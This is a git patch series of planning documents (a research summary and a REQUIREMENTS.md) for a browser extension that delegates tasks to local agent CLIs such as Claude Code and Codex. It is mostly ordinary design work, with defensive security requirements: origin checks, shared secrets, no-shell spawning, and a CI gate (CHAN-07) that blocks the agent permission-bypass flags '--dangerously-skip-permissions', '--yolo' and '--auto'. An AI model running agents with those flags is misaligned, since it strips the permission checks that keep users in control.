MEDIUM-HIGH โ€” consent tier UX has no direct comparable; Anthropic billing model under active churn. -Phases with standard/well-documented patterns (lighter research, can largely follow the codebase's own precedent scripts): -- **Phase 2 (resync):** mechanical translation-merge work using existing tools (`assemble-xliff-target.mjs`/`merge-and-assemble-274.mjs`), re-run against current `messages.xlf`, not new tooling. -- **Phase 3 (ignore-pattern removal):** a one-line `package.json` change, gated on Phase 2's completion -- no research needed beyond sequencing discipline. -- **Phase 5 (WARNING-02 fix):** architecture research (Pattern 2) already specifies the exact ~5-line code change, the loop-safety invariant, and the specific test assertion that must flip -- this is close to plan-ready as-is. +### Phase 62 โ€” CI drift-smoke gate + doctor delegation checks +**Rationale:** Pitfall 9 (drift) will keep happening across the milestone's life. +**Delivers:** CI job that runs each adapter against a canned prompt and asserts a known event sequence; `fsb-mcp-server doctor` extended with binary/version/auth/spawn-secret checks per adapter; adapter compatibility matrix in `doctor` output; `agent_protocol_drift` classification. +**Research flag:** LOW. + +### Phase 63+ โ€” Multi-agent adapters (OpenCode โ†’ Codex โ†’ Gemini) +**Rationale:** Contract proven by Claude Code MVP; each new adapter re-uses the Phase 60 contract. +**Delivers:** Per-CLI adapters with verified flag matrices; per-adapter caps + version matrix + credentials story; `caps.chatMode` flag driving side-panel affordance (`--resume`); billing-model copy per adapter. +**Research flag:** MEDIUM per adapter โ€” Gemini 0.50.0 live `--help` capture; OpenCode HTTP-server-vs-spawn shape. + +### Phase Ordering Rationale + +- **Dependency chain:** identity data (57) โ†’ provider selection UI reads it (58) โ†’ security foundation must exist before any spawn code (59) โ†’ adapter contract needs the channel (60) โ†’ UX/lifecycle needs the adapter (61) โ†’ drift gate and doctor need something to check (62) โ†’ contract must be stable before breadth (63+). +- **Security-first:** Phase 59 is the load-bearing phase. Every top-5 critical pitfall has fixture-level evidence baked in before any spawn logic exists in Phase 60. +- **INV-01 discipline:** every wire addition is additive โ€” new frame types + optional payload fields only. Existing `MCPMessageType` values and tool schemas byte-stable across the whole milestone. +- **Test-suite tripwire discipline:** every extension-touching phase runs the full suite from commit 1; every extension-source edit updates paired tripwires in the same commit. ## Confidence Assessment | Area | Confidence | Notes | |------|------------|-------| -| Stack | HIGH | Verified against live repo files (actual `messages.xlf` + 5 locale files parsed with a throwaway script, confirming the 5-drifted/54-orphaned baseline firsthand), the npm registry, and the `ng-extract-i18n-merge` GitHub source directly -- not inferred from documentation alone. | -| Features | HIGH | Grounded in direct codebase inspection (existing scripts, `DO-NOT-TRANSLATE.md`, locale-constants, git log for `6d3ad363`) plus Google's own primary international-SEO documentation (fetched directly) for the table-stakes SEO items; secondary sources (transcreation, TMS-scope-inflation guidance) are MEDIUM confidence industry practice, appropriately used only for the differentiator/anti-feature tiers, not the core P1 scope. | -| Architecture | HIGH | Every integration seam (CI job order, middleware mount point, locale registry, existing test assertions) verified by direct file read against this repo's own source, not inferred from general Angular-i18n patterns. | -| Pitfalls | HIGH | All findings grounded in direct repo inspection: the actual `git show 6d3ad363` diff, 11+ prior commit history establishing the "safe churn" baseline, actual eslint config, actual `assemble-xliff-target.mjs` source. | +| Stack | HIGH | Flag matrices verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) + current official docs; SDK accessor verified at pinned tag v1.29.0; Node child_process design facts verified verbatim from nodejs.org/api/child_process.html. Gemini 0.50.0 docs-only (no local binary). | +| Features | HIGH | Core UX conventions verified against Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI docs and multiple 2025-2026 vendor product pages. Anthropic subscription-OAuth ban timeline (Jan-Apr 2026) verified. | +| Architecture | HIGH | Every integration seam cited at file:line against live source; SDK `getClientVersion` verified via Context7 against pinned `^1.29.0`. | +| Pitfalls | HIGH | Security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs. Vendor billing footnotes flagged. | -**Overall confidence:** HIGH. All four researchers independently verified the same corrected fact (5 real drifted units, not 247) from the primary source (the actual commit diff and the actual live XLIFF files), which is the strongest available signal that this framing correction is accurate and that the roadmap should scope the resync phase to the true, audit-derived count rather than the milestone's original "247 trans-units" language. +**Overall confidence:** HIGH ### Gaps to Address -- **The true final drift/missing count is not yet fully known.** 5 units are confirmed from commit `6d3ad363` specifically, and 54-per-locale orphaned units (pre-existing, `SHOWCASE_STATS_*`-style, likely stats-page carry-forward debt) are a known baseline -- but the milestone's own goal statement is broader than one commit's blast radius. Handle: Phase 1 (the full-page audit) is explicitly designed to surface the complete true count before Phase 2's resync work is scoped or estimated; do not fix a number in the roadmap/requirements ahead of that audit completing. -- **Whether the orphaned `translations.stats-274.*.json` files were ever merged into the live `messages..xlf` files is unverified.** Handle: Phase 1's audit must explicitly trace this artifact end-to-end before crediting any stats-page translation work as already done. -- **No canonical staleness-tracking mechanism decision has been made yet** (source-hash sidecar file vs. repurposing the XLIFF `state=` attribute vs. relying purely on the drift gate's own commit-to-commit ``-text diff). Handle: PITFALLS.md recommends this be an explicit, written decision made once during the CI drift-gate design phase (Phase 4), not something implicitly decided by whatever the first implementation happens to do -- and if the gate diffs only against the immediately-prior commit rather than a fixed baseline, it may miss already-accumulated-but-uncaught drift that predates the gate's own launch. -- **Whether "orphaned" (id present in a locale file but absent from current `messages.xlf`) should be a hard-fail or warning-only condition in the new gate is a judgment call, not yet settled.** STACK.md recommends warning-only (since the 54-per-locale baseline is pre-existing debt, not newly-introduced drift, and conflating the two would make the gate noisy on day one) -- this should be confirmed as an explicit design decision during Phase 4 planning, not assumed. +- **Shared-secret provisioning UX** โ€” TOFU pairing on first `serve` connect vs a user-visible pairing code from `fsb-mcp-server pair` โ€” decide in Phase 59 planning. +- **Inventory delivery trigger** โ€” on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` โ€” decide in Phase 57 planning. +- **Anthropic billing model** โ€” May 14 2026 announced, June 15 2026 paused; Providers-panel copy must not promise "unlimited/free" and must reflect the current state within each release cycle. +- **Whether `--agent fsb` selects an agent defined inline via `--agents`** โ€” 5-minute spike in Phase 60; fallback is `--append-system-prompt-file`. +- **`--tools ""` Windows quoting + `.cmd` shim resolution** โ€” Node CVE-2024-27980 EINVAL behavior; per-CLI installer layout to confirm. +- **OpenCode HTTP-server-vs-spawn adapter shape** โ€” `opencode serve` + `run --attach` is a cheaper reuse path than cold spawn. +- **Gemini 0.50.0 live `--help` capture** โ€” first Gemini adapter phase must start with this before any code. + +## Feature Categories for Requirements Definition + +1. **Identity Capture (IDENT)** โ€” copy-click persist, MCP `initialize` `clientInfo` capture + threading, disk detection per `platforms.ts`, `fsbAgentProviders` storage schema. +2. **Providers Panel (PROV)** โ€” "API Configuration" โ†’ "Providers" rename, `providerKind: api|agent`, per-kind field visibility, recommended-default badge (connected > installed > copy-clicked), kind-appropriate copy. +3. **Delegation Channel (CHAN)** โ€” `ext:*` reverse-request frames on ws://7225, Origin allowlist, Host loopback, shared-secret transport, hub routing to `agent-spawn` relay, INV-01 additive proof, hub-exit topology tests. +4. **Adapter Contract (ADAPT)** โ€” `AgentProviderAdapter` interface, `SpawnSupervisor`, POSIX/Windows kill-tree, `readline` framing, scrubbed env, version detection, JSONL fixtures. +5. **Claude Code MVP (CLAUDE)** โ€” verified 2.1.177 flag set, shipped `fsb` agent definition via `--agents`, stream-json parsing, task-mode first, subscription auth via user's own login. +6. **Delegation UX (UX)** โ€” consent tiers (first-enable + per-run), streaming feed, default-background-tab + take-control, kill switch that reclaims tabs, "agent offline โ†’ `doctor`", post-run usage summary card, cost copy discipline. +7. **Lifecycle & Persistence (LIFE)** โ€” SW-eviction survival via `chrome.storage.session`, WS heartbeats, daemon-liveness detection, fifth `EXECUTION_MODES` entry. +8. **Drift Gate & Doctor (DRIFT)** โ€” adapter version matrix, per-adapter CI smoke, `doctor` extensions, diagnostics classification. +9. **Multi-Agent Adapters (MULTI)** โ€” OpenCode โ†’ Codex โ†’ Gemini (deferred phase family; contract-reuse only). ## Sources +Detailed sources live in the four research files. Aggregated by tier: + ### Primary (HIGH confidence) -- Direct repository inspection across all four research files: `showcase/angular/src/locale/messages.xlf` + `messages.{es,de,ja,zh-CN,zh-TW}.xlf` (parsed directly to confirm 5-drifted/54-orphaned baseline), `showcase/angular/package.json`, `showcase/angular/angular.json`, `showcase/angular/scripts/verify-locale-sync.mjs`, `showcase/angular/scripts/verify-hreflang.mjs`, `showcase/angular/scripts/assemble-xliff-target.mjs`, `showcase/angular/eslint.config.js`, `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`, `showcase/server/server.js`, `showcase/server/src/middleware/accept-language.js`, `tests/server-accept-language.test.js`, `.github/workflows/ci.yml`, `.planning/PROJECT.md`, `.planning/phases/v0.9.63-INTEGRATION-CHECK.md`, git commit `6d3ad363619a731336ffb5f4480a92346339201a` (full diff, both raw git-stat and id-keyed comparison), `git log --oneline -- showcase/angular/src/locale/messages.xlf` (11+ prior pure-churn commits). -- npm registry API (`registry.npmjs.org`) -- `ng-extract-i18n-merge@3.4.0` (published 2026-06-06), `ngx-i18nsupport@0.17.1` (confirmed dead, last published 2018). -- GitHub repo metadata + raw source, `daniel-sc/ng-extract-i18n-merge` -- confirmed the exact drift-marking mechanic, actively maintained, not archived. -- `angular.dev/guide/i18n/merge` (official Angular docs, fetched directly) -- confirmed Angular's first-party i18n tooling has no built-in stale-translation detection mechanism. -- [Google Search Central -- Managing Multi-Regional and Multilingual Sites](https://developers.google.com/search/docs/specialty/international/managing-multi-regional-sites) -- primary source, fetched directly; basis for the no-IP-geolocation, canonical/hreflang guidance. -- XLIFF 1.2 OASIS specification (`urn:oasis:names:tc:xliff:document:1.2`) -- `state`/`state-qualifier` attribute vocabulary and ``/`` mirroring convention. +- Local binaries executed 2026-07-10: `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 โ€” all flags quoted verbatim +- `code.claude.com/docs/en/{cli-reference,headless,permissions,agent-sdk/overview,sub-agents,chrome}` +- `learn.chatgpt.com/docs/{non-interactive-mode,config-file/config-reference}` (Codex) +- `github.com/google-gemini/gemini-cli` docs +- `opencode.ai/docs/{cli,mcp-servers,agents,server,acp}` + `zed.dev/acp` +- `modelcontextprotocol/typescript-sdk` tag v1.29.0 `src/server/index.ts` โ€” `clientInfo` + `getClientVersion()` verified +- `nodejs.org/api/child_process.html` โ€” detached/process-group, kill-tree, backpressure, shell warning โ€” verbatim +- 2025-2026 CVE advisories: CVE-2025-49596 (Inspector), CVE-2025-66414/66416 (MCP SDKs), CVE-2025-59536 (Claude Code project files), CVE-2025-54794/54795 (Claude Code command injection), Gemini CLI CVSS 10 (GHSA-wpqr-6v78-jr5g), TrustFall (Adversa AI, May 2026), Mailpit/Dozzle/Nanobot CSWSH advisories +- Direct source reads in this repo cited at file:line in ARCHITECTURE.md +- `.planning/PROJECT.md` v0.9.91 milestone section +- graphify graph queries confirming symbol locations +- Auto-memory: `fsb-source-pin-tripwires.md`; `fsb-same-context-dispatch.md` ### Secondary (MEDIUM confidence) -- Industry i18n-practice sources (Weglot, SimpleLocalize, Smashing Magazine, Smartling, Translated, Locize, Cobbai, i18nagent.ai) -- used to corroborate hreflang error-rate norms, locale-detection cookie/header precedence conventions, transcreation-vs-translation distinctions, small-team TMS-scope-inflation guidance, and text-expansion percentage figures for German/CJK. Appropriately weighted to inform only the differentiator/anti-feature tiers of FEATURES.md, not the core table-stakes scope. -- doloc.io pricing/tier claim (single search-snippet source, not independently fetched in full) -- sufficient to flag as "do not adopt this milestone" per the explicit no-paid-SaaS brief constraint; re-verify directly if a future milestone reconsiders it. -- General industry TMS "source drift"/"fuzzy-match invalidation" convention claim (Phrase, Lokalise, Crowdin) -- offered as context for why the recommended architecture pattern is an established approach, not independently verified against those vendors' specific docs in this research session. +- `zed.dev/docs/ai/external-agents` +- Cline docs on Claude Code provider; Roo Code PR #4864; Cline Codex OAuth blog +- Apple Xcode 26 coding intelligence docs +- GitHub Agent HQ blog posts +- `agentclientprotocol.com/protocol/overview` +- The Register (2026-02-20) + `anthropics/claude-code#28091` โ€” subscription-OAuth ban timeline +- Chrome MV3 SW lifecycle + WebSocket keepalive docs + +### Tertiary (LOW confidence / needs Phase-time validation) +- Gemini CLI 0.50.0 flag surface (docs-only) +- OpenCode permission-bypass flag naming in 1.15+ (rename in flight) +- Anthropic billing model state (announced May 14 2026, paused June 15 2026) +- Wrapping the genuine `claude` binary is ecosystem-standard practice but not explicitly blessed in writing by Anthropic --- -*Research completed: 2026-07-07* +*Research completed: 2026-07-10* *Ready for roadmap: yes* From e5bc05b73363413beb2dcd69004523bda5b2d5dd Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sat, 11 Jul 2026 22:12:29 -0500 Subject: [PATCH 013/581] docs: define milestone v0.9.91 requirements --- .planning/REQUIREMENTS.md | 149 +++++++++++++++++++++++++------------- 1 file changed, 100 insertions(+), 49 deletions(-) diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index 7c69b3f9a..d74c2db30 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -1,54 +1,111 @@ # Requirements: FSB (Full Self-Browsing) -**Defined:** 2026-07-07 +**Defined:** 2026-07-11 **Core Value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. -**Milestone:** v1.2.0 Showcase i18n Completeness +**Milestone:** v0.9.91 MCP Clients as Providers ## v1 Requirements Requirements for this milestone. Each maps to roadmap phases. -### Translation Audit +### IDENT -- Agent Identity Capture -- [x] **AUDIT-01**: A full-page audit produces a per-page, per-locale, per-trans-unit verdict distinguishing "coverage" (i18n-marked + translated target exists) from "currency" (target still matches the current English source) across every current showcase route. -- [x] **AUDIT-02**: The audit traces the orphaned `translations.stats-274.*.json` artifacts end-to-end into (or explicitly out of) the live `messages..xlf` files the build consumes. +- [ ] **IDENT-01**: When the user clicks a copy-to-clipboard button on the onboarding MCP-install screen for a specific client (`claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local`. +- [ ] **IDENT-02**: When an MCP client completes its `initialize` handshake with `fsb-mcp-server` (over any transport: stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version` and threads them to the extension via an additive field on the existing `agent:register` bridge payload without breaking any existing consumer of that payload (INV-01). +- [ ] **IDENT-03**: The extension's agent registry stamps captured `clientInfo` onto each live `AgentRecord` and rolls the identity up into a durable `fsbAgentProviders.connected` entry that survives service-worker eviction and Chrome restart, keyed so re-connections update rather than duplicate. +- [ ] **IDENT-04**: `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; ` --version` probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. +- [ ] **IDENT-05**: A `getMcpClients` extension runtime message returns a merged view (`clicked` โˆช `installed` โˆช `connected`) with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves. -### Translation Resync +### PROV -- Providers Panel -- [x] **RESYNC-01**: Every trans-unit the audit identifies as drifted (English source changed without a matching translation update) is resynced across all 5 translated locales (es, de, ja, zh-CN, zh-TW), preserving `DO-NOT-TRANSLATE.md` brand/term rules and `` placeholder alignment. -- [x] **RESYNC-02**: The stats page reaches full translation coverage across all 5 locales. -- [x] **RESYNC-03**: Hero headlines and primary CTAs (~10-20 strings) receive a transcreation-lens review rather than literal translation. +- [ ] **PROV-01**: The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and any anchor `#api-config` continues to work as a redirect to the new `#providers` anchor for existing bookmarks). +- [ ] **PROV-02**: Each provider has an explicit `providerKind` value of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render. +- [ ] **PROV-03**: When an `agent`-kind provider is selected, the API-key input, key-URL hint, and per-model key-format hint are hidden; the panel shows instead the provider's install status, auth status (from the CLI's own login state where surfaceable), connection status, and a short "uses your subscription -- no API key needed" caption. +- [ ] **PROV-04**: When the user has both an active `agent` provider selection and a valid BYOK key for an `api` provider, `universal-provider.js` continues to see only `api`-kind provider values; the two selections do not collide, and switching between them preserves the other's configuration (INV-03 provider parity for the BYOK side). +- [ ] **PROV-05**: The panel visually marks exactly one provider as "Recommended" per session, chosen by a ground-truth cascade: highest-priority = a provider whose CLI is currently connected via MCP `initialize`, next = a provider whose CLI is installed on disk, next = a provider whose copy button the user clicked during onboarding, fallback = the current xAI-default recommendation. The panel never auto-switches the user's selection; the badge is advisory only. +- [ ] **PROV-06**: Cost/usage rows for `agent`-kind providers never display fabricated dollar amounts; they display token count, turn count, and duration and label the run as "included in your subscription", with a link to the vendor's current billing page (copy must not promise "free" or "unlimited"). -### CI Enforcement +### CHAN -- Delegation Channel & Security Foundation -- [x] **CI-01**: The `lint:i18n` ignore-pattern for `src/app/pages/stats/**` is removed only after RESYNC-02 is verified complete. -- [x] **CI-02**: A new `verify-translation-drift.mjs` CI gate fails the build when any trans-unit's English `` text changes without a matching update in one of the 5 translated locale files, diffing per trans-unit `id` (not whole-file/line-count). -- [x] **CI-03**: The new drift gate is back-tested against this repo's own git history (known-clean churn commits plus commit `6d3ad363`) before being wired hard-fail into CI, so it doesn't chronically false-positive on routine `ng extract-i18n` re-extraction churn. -- [x] **CI-04**: The drift gate's target-locale list is derived dynamically from the existing locale registry, not hardcoded. -- [x] **CI-05**: The dashboard page's `lint:i18n` exclusion is documented as a permanent, intentional architectural boundary (authenticated app surface, not marketing content) rather than left as open deferred debt. +- [ ] **CHAN-01**: A new bridge message-type family (`ext:request` / `ext:response` / `ext:event`) transports extensionโ†’daemon reverse requests over the existing ws://localhost:7225 bridge without changing the byte-shape of any existing `MCPMessageType` value (INV-01 additive proof). +- [ ] **CHAN-02**: A relay process signals its ability to fulfill spawn requests by advertising `capabilities: ['agent-spawn']` in its `relay:hello`; the hub routes each `ext:request` locally (if itself the daemon) or to the first relay advertising the required capability. +- [ ] **CHAN-03**: The bridge rejects every incoming `ext:*` frame whose WebSocket upgrade did not carry an `Origin` header matching a durable per-install FSB-extension-id allowlist and whose `Host` header is not exactly `127.0.0.1` (or `localhost`) at the loopback port. +- [ ] **CHAN-04**: A per-install >=32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame. +- [ ] **CHAN-05**: `redactForLog` and diagnostic ring-buffer writes strip any string matching the shared-secret token pattern; the drift gate fails the build if a raw secret substring appears in any tracked log fixture. +- [ ] **CHAN-06**: The bridge topology test suite covers hub-exit-mid-delegation and relay-mid-`ext:*`-frame scenarios; existing hub-exit-promotion tests still pass byte-for-byte. +- [ ] **CHAN-07**: A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those flags can never enter the spawn path in any future patch. -### Locale Routing +### ADAPT -- Adapter Contract & Spawn Supervisor -- [x] **ROUTE-01**: A picker-set `fsb-locale` cookie naming a valid, non-default supported locale redirects the bare-`/` request to that locale's subpath instead of short-circuiting to the EN prerender (closes WARNING-02). -- [x] **ROUTE-02**: The default-locale case (cookie value = `en`) still falls through correctly without redirecting to a 404ing `/en/` path. +- [ ] **ADAPT-01**: An `AgentProviderAdapter` TypeScript interface in `mcp/src/agent-providers/` defines exactly five methods: `detect() -> {installed, version, authState, binary}`, `buildSpawn(task, ctx) -> SpawnSpec`, `parseEvents(stream) -> AsyncIterable`, `kill(child, {grace}) -> Promise`, and `caps() -> AdapterCapabilities`. +- [ ] **ADAPT-02**: A `SpawnSupervisor` module living in the `fsb-mcp-server serve` daemon accepts a validated spawn request, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`/`GEMINI_API_KEY` scrubbed. +- [ ] **ADAPT-03**: The supervisor never invokes a shell; the user's prompt travels only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. +- [ ] **ADAPT-04**: A `stop`/cancel request triggers SIGTERM at the process-group level (POSIX `process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`, Windows `taskkill /pid /T /F`), escalates to SIGKILL after a grace window, and blocks resolving the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain. +- [ ] **ADAPT-05**: On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints and kills them before accepting new spawn requests (recovery from crash). -### Visual QA +### CLAUDE -- Claude Code MVP -- [ ] **VISUAL-01**: German and zh-CN/zh-TW copy on the highest-copy-density routes receives a targeted manual visual spot-check for text-expansion/line-wrap issues. +- [ ] **CLAUDE-01**: The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence`, or the version-appropriate equivalent selected by `detect()` output. +- [ ] **CLAUDE-02**: The user's task prompt is sent to the spawned CLI via stdin only; the adapter constructs no argv fragment containing user-supplied text. +- [ ] **CLAUDE-03**: The adapter's `parseEvents` translates the CLI's stream-json events (`system/init`, `assistant`, `user`, tool-use events, `system/api_retry`, `result`) into a normalized `AgentEvent` schema (`type`, `sessionId`, `payload`), fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI. +- [ ] **CLAUDE-04**: The Claude Code adapter's `detect()` fingerprints the binary via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. + +### UX -- Delegation UX + +- [ ] **UX-01**: A fifth entry `delegated` in `EXECUTION_MODES` (`extension/ai/engine-config.js`) defines: `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, `safetyLimits: { wallClockMs, eventSilenceMs }` (no iteration cap -- the loop runs in the spawned CLI, not `runAgentLoop`), and is selected when the active provider is `agent`-kind. +- [ ] **UX-02**: The side panel renders a live per-run streaming feed with distinct card types for init (client, model, session id, allowed tools), tool-call (name, args summary, tab id), retry (typed error class), and result (usage summary), driven by the normalized `AgentEvent` stream. +- [ ] **UX-03**: Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, what it will be permitted to do (drive the FSB MCP tools on the user's live browser), and what it will not be permitted to do (edit files, run shell, fetch arbitrary URLs). A per-run confirm-to-continue toggle is on by default and can be disabled per provider only via an explicit "trust this agent" setting. +- [ ] **UX-04**: A prominent Stop button in the side panel triggers `stopDelegatedTask`, which routes to the supervisor's kill and, on confirmed exit, releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed. +- [ ] **UX-05**: A delegated run opens by default in a new background tab; when the user activates the tab that the agent is driving, a persistent "Take control" affordance appears; clicking it pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. +- [ ] **UX-06**: A post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind; real USD for api kind), and a per-tool-call breakdown, expandable to the full tool-call log for the run. + +### LIFE -- Lifecycle & Persistence + +- [ ] **LIFE-01**: Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key before it fans out to UI subscribers, so a MV3 service worker eviction mid-run reloads exactly the delivered feed on re-open. +- [ ] **LIFE-02**: While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the extension shows a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart. +- [ ] **LIFE-03**: If `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message. +- [ ] **LIFE-04**: On daemon restart while a delegation was mid-flight, the supervisor does not re-adopt any surviving spawned CLI; it kills it (LIFE-04 restart-is-clean) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. + +### DRIFT -- CI Drift-Smoke Gate & Doctor Extensions + +- [ ] **DRIFT-01**: A CI job runs each shipped adapter against a canned prompt fixture, asserts a known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing fields, or a `--version` outside the compatibility matrix. +- [ ] **DRIFT-02**: `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age. +- [ ] **DRIFT-03**: The diagnostics ring buffer classifies drift events as `agent_protocol_drift` (with adapter id, expected vs observed) and rate-limits duplicate entries at the existing 1-per-10s bucket. +- [ ] **DRIFT-04**: The `doctor` output includes a machine-readable adapter compatibility matrix that both CI and the extension can read to render "supported / degraded / unsupported" states without hardcoding versions in extension code. + +### NATIVE -- Native-Messaging Host + +- [ ] **NATIVE-01**: `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest (macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\`), allowing the FSB extension id as the sole caller, and installs a host binary that wakes the daemon on demand. +- [ ] **NATIVE-02**: The extension's manifest gains a `nativeMessaging` permission entry (additive, no other permission changes), and the extension detects native-host presence at boot; when present, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link. +- [ ] **NATIVE-03**: The native host itself does not spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff. All spawn authority remains inside the `serve` daemon behind the CHAN gates. +- [ ] **NATIVE-04**: `fsb-mcp-server uninstall --native-host` removes the manifest, and `doctor` reports native-host install state including manifest path and any Chrome allowlist mismatch. + +### MULTI -- Additional Adapters + +- [ ] **MULTI-01**: An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode=true`; the supervisor either spawns `opencode run` cold or attaches to a running `opencode serve` per the adapter's `buildSpawn` output (contract-stresser: the ADAPT contract must accommodate both spawn and attach without hardcoding). +- [ ] **MULTI-02**: The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike. +- [ ] **MULTI-03**: A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-1.14.25/` (or the latest pinned version) proves the adapter's event schema in CI without a live CLI. +- [ ] **MULTI-04**: A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the current-verified flag set (v0.142.5 as baseline: use `--ephemeral` + `--ignore-user-config` for hermeticity; do not use the deprecated `--full-auto`). +- [ ] **MULTI-05**: The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth vs API key vs unauthenticated and surfaces the state in the provider panel so the user knows which billing bucket a run will hit. +- [ ] **MULTI-06**: A recorded Codex JSONL fixture pins the event schema in CI, and the adapter's `caps()` correctly reports `chatMode: false` for v0.9.91 (task-mode only across all adapters). ## v2 Requirements Deferred to future release. Tracked but not in current roadmap. -### Translation Quality +### Chat-Mode Continuity + +- **CHAT-FUTURE-01**: Adapters expose `caps.chatMode: true` and the side panel maps a chat thread to `--resume ` (Claude Code) / `codex resume` / `gemini --resume` / `opencode --continue` per adapter. +- **CHAT-FUTURE-02**: The daemon pins per-thread working directory so `claude --resume` finds its history. + +### Gemini CLI Adapter -- **QA-01**: Native-speaker/bilingual-fluent QA pass across all resynced trans-units and the stats page (this milestone accepts AI-translation quality; a full re-review is a future quality bar, not reapplication of an existing one). +- **GEMINI-FUTURE-01**: Gemini CLI adapter after a live `--help` capture and JSONL schema pinning (v0.9.91 lacked a local binary to verify against). -### Tooling +### Broader Agent Ecosystem -- **I18N-FUTURE-01**: Migrate the stats page off its ad hoc `translations.stats-274.*.json` mechanism into the main XLIFF pipeline. -- **I18N-FUTURE-02**: Full automated per-locale visual regression/screenshot-diffing pipeline. -- **I18N-FUTURE-03**: Translation-freshness / "last synced" reporting surface. +- **ACP-FUTURE-01**: ACP-based adapter unification (`@zed-industries/agent-client-protocol`) once โ‰ฅ2 non-Claude adapters have shipped and proven the contract shape. +- **REMOTE-FUTURE-01**: Remote/mobile delegation surfaces (Happy-style approval flows) -- explicitly localhost-only in v0.9.91. ## Out of Scope @@ -56,36 +113,30 @@ Explicitly excluded. Documented to prevent scope creep. | Feature | Reason | |---------|--------| -| Dashboard page translation | Authenticated app surface, not marketing content -- explicit permanent boundary (see CI-05), not deferred debt | -| Commercial TMS adoption (Lokalise, Crowdin, Smartling, Phrase, doloc.io) | Site scale (6 locales, ~942 trans-units, ~7 routes) doesn't warrant one; milestone brief requires a no-paid-SaaS solution | -| `ng-extract-i18n-merge` adoption | Legitimate but separate future decision; rewrites `angular.json`'s `extract-i18n` builder, not required to satisfy this milestone's CI-gate requirement | -| Re-deriving or changing the supported-locale list | Fixed at en/es/de/ja/zh-CN/zh-TW per v0.9.63's `LocaleService` + locale-constants module -- not up for debate | +| Embedding `@anthropic-ai/claude-agent-sdk` in FSB | Anthropic policy prohibits third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026); shelling to the user's installed `claude` binary is the only compliant "no API key" path. | +| Proxying / 